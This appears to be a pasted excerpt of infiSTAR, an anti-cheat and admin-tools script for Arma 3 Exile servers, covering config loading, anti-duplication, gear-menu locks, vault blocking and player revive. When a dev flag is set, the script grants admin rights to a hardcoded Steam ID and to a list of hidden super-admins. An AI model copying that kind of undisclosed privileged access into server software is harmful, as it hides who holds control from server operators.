- _wall_glitch_object = ["wall_glitch_object",false] call fnc_infiSTAR_cfg;
- _wall_glitch_vehicle = ["wall_glitch_vehicle",false] call fnc_infiSTAR_cfg;
- _check_doors_n_gates = ["check_doors_n_gates",false] call fnc_infiSTAR_cfg;
- _checkHiddenObjects = ["checkHiddenObjects",false] call fnc_infiSTAR_cfg;
- _attach_to_check = ["attach_to_check",false] call fnc_infiSTAR_cfg;
- _slingload_check = ["slingload_check",false] call fnc_infiSTAR_cfg;
- _checkFilePatchingEnabled = ["checkFilePatchingEnabled",true] call fnc_infiSTAR_cfg;
- _CMM = ["CMM",true] call fnc_infiSTAR_cfg;
- _maxMapMenuEntries = ["maxMapMenuEntries",6] call fnc_infiSTAR_cfg;
- _check_steam_ban = ["check_steam_ban",false] call fnc_infiSTAR_cfg;
- _ban_for_steam_ban = ["ban_for_steam_ban",false] call fnc_infiSTAR_cfg;
- _UAT = ["UAT",true] call fnc_infiSTAR_cfg;
- _allowTPcfg = (getArray(configfile >> "Cfg_infiSTAR_settings" >> "allowTP" >> "custom"));
- _CHECK_DRAWING = ["CHECK_DRAWING",false] call fnc_infiSTAR_cfg;
- _CGM = ["CGM",false] call fnc_infiSTAR_cfg;
- _CLM = ["CLM",false] call fnc_infiSTAR_cfg;
- _UMW = ["UMW",false] call fnc_infiSTAR_cfg;
- _aLocalM = ["aLocalM",[]] call fnc_infiSTAR_cfg;
- _badChat = ["badChat",[]] call fnc_infiSTAR_cfg;
- _badNamesFull = ["badNamesFull",[]] call fnc_infiSTAR_cfg;
- _badNamesPartial = ["badNamesPartial",[]] call fnc_infiSTAR_cfg;
- _badGroupNames = ["badGroupNames",[]] call fnc_infiSTAR_cfg;
- _badIDDsToKick = ["badIDDsToKick",[]] call fnc_infiSTAR_cfg;
- _badIDDsToClose = ["badIDDsToClose",[]] call fnc_infiSTAR_cfg;
- _UDW = ["UDW",true] call fnc_infiSTAR_cfg;
- _allowedIDDs = ["allowedIDDs",[]] call fnc_infiSTAR_cfg;
- _useBlacklistedVariableCheck = ["useBlacklistedVariableCheck",false] call fnc_infiSTAR_cfg;
- _blacklistedVariables = [];
- if(_useBlacklistedVariableCheck)then{_blacklistedVariables = ["blacklistedVariables",[]] call fnc_infiSTAR_cfg;};
- _UVC = ["UVC",true] call fnc_infiSTAR_cfg;
- _UVC_adminspawn = ["UVC_adminspawn",true] call fnc_infiSTAR_cfg;
- _VehicleWhiteList_check = ["VehicleWhiteList_check",true] call fnc_infiSTAR_cfg;
- _VehicleWhiteList = ["VehicleWhiteList",[]] call fnc_infiSTAR_cfg;
- _ForbiddenVehicles_check = ["ForbiddenVehicles_check",true] call fnc_infiSTAR_cfg;
- _ForbiddenVehicles = ["ForbiddenVehicles",[]] call fnc_infiSTAR_cfg;
- _LocalWhitelist = ["LocalWhitelist",[]] call fnc_infiSTAR_cfg;
- _UFI = ["UFI",false] call fnc_infiSTAR_cfg;
- _UIW = ["UIW",false] call fnc_infiSTAR_cfg;
- _ItemWhiteList = ["ItemWhiteList",[]] call fnc_infiSTAR_cfg;
- _ForbiddenItems = ["ForbiddenItems",[]] call fnc_infiSTAR_cfg;
- _allSupportBoxes = ["allSupportBoxes",[]] call fnc_infiSTAR_cfg;
- _allSupportBoxesNames = [];
- {
- if!(_x isEqualTo [])then
- {
- _allSupportBoxesNames pushBack (_x select 0);
- };
- } forEach _allSupportBoxes;
- _KYLE_MODE = ["KYLE_MODE",false] call fnc_infiSTAR_cfg;
- if(!_ExileDevFriendlyMode)then{_ExileDevFriendlyMode = getNumber(configFile >> "CfgSettings" >> "ServerSettings" >> "devFriendyMode") isEqualTo 1;};
- if(_ExileDevFriendlyMode)then
- {
- _devs pushBackUnique "76561198022879703"; /* Grim */
- };
- {if(count _x > 5)then{_devs pushBackUnique _x;};} forEach _hiddenSuperAdmin;
- {if(count _x > 5)then{_admins pushBackUnique _x;};} forEach _devs;
- fnc_CompilableString = {
- _input = _this select 0;
- _output = call {
- if(_input isEqualType {})exitWith{(str(_input)) select [1,((count(str(_input)))-2)]};
- if(_input isEqualType "")exitWith{_input};
- ""
- };
- _output
- };
- fnc_CompilableString = compileFinal ([fnc_CompilableString] call fnc_CompilableString);
- publicVariable "fnc_CompilableString";
- _testserver = (((toLower servername) find 'mgt exile' isEqualTo -1)||((toLower servername) find 'test' isEqualTo -1));
- fn_antidupedisabler = compileFinal "
- disableSerialization;
- _timer = diag_tickTime + _this;
- while{(!isNull (findDisplay 602))}do
- {
- _ctrl = ((findDisplay 602) displayCtrl 632);
- _ctrl ctrlEnable false;
- _size = lbSize _ctrl;
- if(_size > 0)then
- {
- for '_i' from 0 to _size do
- {
- _ctrl lbSetColor [_i, [1,0,0,1]];
- };
- };
- if(diag_tickTime > _timer)exitWith
- {
- ((findDisplay 602) displayCtrl 632) ctrlEnable true;
- if(_size > 0)then
- {
- for '_i' from 0 to _size do
- {
- _ctrl lbSetColor [_i, [1,1,1,1]];
- };
- };
- };
- };
- ";
- publicVariable "fn_antidupedisabler";
- fn_onPlayerTake = compileFinal "
- if(!isNil'antidupedisabler')then{terminate antidupedisabler;antidupedisabler=nil;};
- antidupedisabler = 0.3 spawn fn_antidupedisabler;
- _this call ExileClient_object_player_event_onTake
- ";
- publicVariable "fn_onPlayerTake";
- if(_stopSafeGlitchAndCorpseDupe)then{
- fn_onInventoryOpened = compileFinal "
- _ret = _this call ExileClient_object_player_event_onInventoryOpened;
- ((findDisplay 602) displayCtrl 111) ctrlSetText format['%1 (%2)',groupId(group player),profileName];
- if(!_ret)then
- {
- _container = _this select 1;
- _locked = locked _container isEqualTo 2;
- _ExileIsLocked = _container getVariable ['ExileIsLocked', 1] isEqualTo -1;
- _lockedNear = false;
- if(!_locked && !_ExileIsLocked)then
- {
- if((_container isKindOf 'GroundWeaponHolder')||(_container isKindOf 'WeaponHolderSimulated')||(_container isKindOf 'LootWeaponHolder')||(_container isKindOf 'Man'))then
- {
- _vehicles = player nearObjects ['AllVehicles', 7];
- if(!_lockedNear)then
- {
- {
- _lockedxx = locked _x isEqualTo 2;
- _ExileIsLockedxx = _x getVariable ['ExileIsLocked', 1] isEqualTo -1;
- if((_lockedxx || _ExileIsLockedxx) && !(_x in [_container,vehicle _container]))exitWith
- {
- _lockedNear = true;
- systemChat '<infiSTAR.de> locked vehicle to close.. gear menu will not show the cargo tab!';
- };
- } forEach _vehicles;
- };
- if(!_lockedNear)then
- {
- {
- _obj = _x;
- if(!(_obj isKindOf 'Man')&&(_container isKindOf 'Man')&&(!alive _container))exitWith
- {
- _lockedNear = true;
- systemChat '<infiSTAR.de> vehicle to close to dead body.. gear menu will not show the cargo tab!';
- };
- } forEach _vehicles;
- };
- if(!_lockedNear)then
- {
- {
- _lockedx = locked _x isEqualTo 2;
- _ExileIsLockedx = _x getVariable ['ExileIsLocked', 1] isEqualTo -1;
- if(_lockedx || _ExileIsLockedx)exitWith
- {
- _lockedNear = true;
- systemChat '<infiSTAR.de> locked supply close.. gear menu will not show the cargo tab!';
- };
- } forEach (player nearSupplies 5);
- };
- };
- };
- if(_locked || _ExileIsLocked || _lockedNear)then
- {
- if(!isNil'checkGearDisplayThread')then{terminate checkGearDisplayThread;checkGearDisplayThread=nil;};
- checkGearDisplayThread = [] spawn {
- disableSerialization;
- _fn_hide_cargo = {
- ((findDisplay 602) displayCtrl 6401) ctrlEnable false;
- ctrlSetFocus ((findDisplay 602) displayCtrl 6321);
- ctrlActivate ((findDisplay 602) displayCtrl 6321);
- };
- waitUntil {call _fn_hide_cargo;!isNull findDisplay 602};
- waitUntil {call _fn_hide_cargo;isNull findDisplay 602};
- };
- };
- };
- _ret
- ";
- publicVariable "fn_onInventoryOpened";
- }
- else
- {
- fn_onInventoryOpened = compileFinal "
- _ret = _this call ExileClient_object_player_event_onInventoryOpened;
- ((findDisplay 602) displayCtrl 111) ctrlSetText format['%1 (%2)',groupId(group player),profileName];
- _ret
- ";
- publicVariable "fn_onInventoryOpened";
- };
- fnc_exile_revive_client = compileFinal "
- params[['_target',objNull],['_newUnit',objNull]];
- if(isNull _target)exitWith{systemChat 'dead body gone..!';};
- if(isNull _newUnit)exitWith{systemChat 'new body not ready..!';};
- _weaponholder = nearestObject [_target, 'WeaponHolderSimulated'];
- if(!isNull _weaponholder)then
- {
- _weaponsItemsCargo = weaponsItemsCargo _weaponholder;
- if(count _weaponsItemsCargo > 0)then
- {
- _weaponsItemsCargo = _weaponsItemsCargo select 0;
- {
- if(_x isEqualType '')then
- {
- _target addweapon _x;
- _target addPrimaryWeaponItem _x;
- }
- else
- {
- _target addMagazine _x;
- };
- } forEach _weaponsItemsCargo;
- };
- deleteVehicle _weaponholder;
- };
- if(local _target)then
- {
- _loadout = getUnitLoadout _target;
- deleteVehicle _target;
- _newUnit setUnitLoadout _loadout;
- };
- _layer = 'BIS_fnc_respawnCounter' call bis_fnc_rscLayer;
- _layer cutText ['', 'plain'];
- if !(ExileClientBleedOutThread isEqualTo -1) then
- {
- [ExileClientBleedOutThread] call ExileClient_system_thread_removeTask;
- ExileClientBleedOutThread = -1;
- };
- cutText['', 'BLACK IN',3];
- titleText['', 'BLACK IN',3];
- true call ExileClient_gui_hud_toggle;
- ExileClientLoadedIn = true;
- showChat true;
- setGroupIconsVisible [true, true];
- if(ExileClientPlayerIsBambi)then{call ExileClient_object_player_bambiStateEnd;};
- if(userInputDisabled)then{disableUserInput false;};
- true
- ";
- publicVariable "fnc_exile_revive_client";
- fnc_exile_revive_server = compileFinal "
- _target = _this select 0;
- _targetID = _this select 1;
- _posATL = getPosATL _target;
- _direction = getDir _target;
- _playerUID = getPlayerUID _target;
- _name = _target getVariable['ExileName',''];
- _accountData = format['getAccountStats:%1', _playerUID] call ExileServer_system_database_query_selectSingle;
- _group = call ExileServer_system_group_getOrCreateLoneWolfGroup;
- _newUnit = _group createUnit ['Exile_Unit_Player', _posATL, [], 0, 'CAN_COLLIDE'];
- removeHeadgear _newUnit;
- _clanID = (_accountData select 3);
- _clanData = missionNamespace getVariable [format ['ExileServer_clan_%1',_clanID],[]];
- if !((typeName _clanID) isEqualTo 'SCALAR') then
- {
- _clanID = -1;
- }
- else
- {
- if(isNull (_clanData select 5))then
- {
- _clanGroup = createGroup independent;
- _clanData set [5,_clanGroup];
- _clanGroup setGroupIdGlobal [_clanData select 0];
- missionNameSpace setVariable [format ['ExileServer_clan_%1',_clanID],_clanData];
- }
- else
- {
- _clanGroup = (_clanData select 5);
- };
- [_newUnit] joinSilent _clanGroup;
- };
- _newUnit disableAI 'FSM';
- _newUnit disableAI 'MOVE';
- _newUnit disableAI 'AUTOTARGET';
- _newUnit disableAI 'TARGET';
- _newUnit disableAI 'CHECKVISIBLE';
- _newUnit setName _name;
- _newUnit setVariable ['ExileMoney', 0, true];
- _newUnit setVariable ['ExileScore', (_accountData select 0)];
- _newUnit setVariable ['ExileKills', (_accountData select 1)];
- _newUnit setVariable ['ExileDeaths', (_accountData select 2)];
- _newUnit setVariable ['ExileClanID', _clanID];
- _newUnit setVariable ['ExileClanData', _clanData];
- _newUnit setVariable ['ExileHunger', 100];
- _newUnit setVariable ['ExileThirst', 100];
- _newUnit setVariable ['ExileTemperature', 37];
- _newUnit setVariable ['ExileWetness', 0];
- _newUnit setVariable ['ExileAlcohol', 0];
- _newUnit setVariable ['ExileName', _name];
- _newUnit setVariable ['ExileOwnerUID', _playerUID];
- _newUnit setVariable ['ExileIsBambi', true];
- _newUnit setVariable ['ExileXM8IsOnline', false, true];
- _newUnit setVariable ['ExileLocker', (_accountData select 4), true];
- _newUnit addMPEventHandler ['MPKilled', {_this call ExileServer_object_player_event_onMpKilled}];
- _newUnit call ExileServer_object_player_database_insert;
- _createPlayerResponse = [
- _newUnit,
- '',
- str (_accountData select 0),
- (_accountData select 1),
- (_accountData select 2),
- 100,
- 100,
- 0,
- (getNumber (configFile >> 'CfgSettings' >> 'BambiSettings' >> 'protectionDuration')) * 60,
- _clanData,
- 0
- ];
- [
- [_createPlayerResponse,[_target,_newUnit]],
- {
- (_this select 0) call ExileClient_object_player_network_createPlayerResponse;
- (_this select 1) call fnc_exile_revive_client;
- },
- _targetID,
- false
- ] call FN_infiSTAR_S;
- _sessionId = call ExileServer_system_session_createId;
- ExileSessionIDs pushBack _sessionId;
- [_sessionID, _newUnit] call ExileServer_system_session_update;
- _newUnit call ExileServer_object_player_database_update;
- _newUnit spawn {uiSleep 10;if(!isNull _this)then{_this call ExileServer_object_player_database_update;};};
- _newUnit setPosATL _posATL;
- _newUnit setDir _direction;
- true
- ";
- fnc_infiSTAR_stopvaultglitch = compileFinal "
- _key = _this select 1;
- if(_key in actionKeys 'GetOver')exitWith
- {
- _exiledist = 4;
- if(cursorTarget distance player < _exiledist && (cursorTarget isKindOf 'Exile_Construction_Abstract_Static' || cursorTarget isKindOf 'AbstractConstruction'))exitWith
- {
- if(isNil'vaultblockcounter')then{vaultblockcounter=0;};
- vaultblockcounter = vaultblockcounter + 1;
- cutText [format['<infiSTAR.de>%1: Blocked VAULT - Exile Basepart close #1!',vaultblockcounter],'PLAIN'];
- true
- };
- _close = nearestObjects [player, ['Exile_Construction_Abstract_Static','AbstractConstruction'],_exiledist];
- if!(_close isEqualTo [])exitWith
- {
- if(isNil'vaultblockcounter')then{vaultblockcounter=0;};
- vaultblockcounter = vaultblockcounter + 1;
- cutText [format['<infiSTAR.de>%1: Blocked VAULT - Exile Basepart close #2!',vaultblockcounter],'PLAIN'];
- true
- };
- cutText ['','PLAIN'];
- };
- false
- ";
- publicVariable "fnc_infiSTAR_stopvaultglitch";
- fnc_debugbox_new = compileFinal (preprocessFileLineNumbers '\a3_infiSTAR_Exile\debug.sqf');
- diag_log format["<infiSTAR.de> %1 - STARTUP - including AdminTools",time];
- #include "EXILE_AT.sqf"
- diag_log format["<infiSTAR.de> %1 - STARTUP - AdminTools included!",time];
- diag_log format["<infiSTAR.de> %1 - STARTUP - including AntiHack",time];
- #include "EXILE_AH.sqf"
- diag_log format["<infiSTAR.de> %1 - STARTUP - AntiHack included!",time];
- comment "Antihack & AdminTools - Christian Lorenzen - www.infiSTAR.de";
- truea3_infiSTAR_Exile ÌÏhŽÌNën©GA”ú=6h†n
Add Comment
Please, Sign In to add comment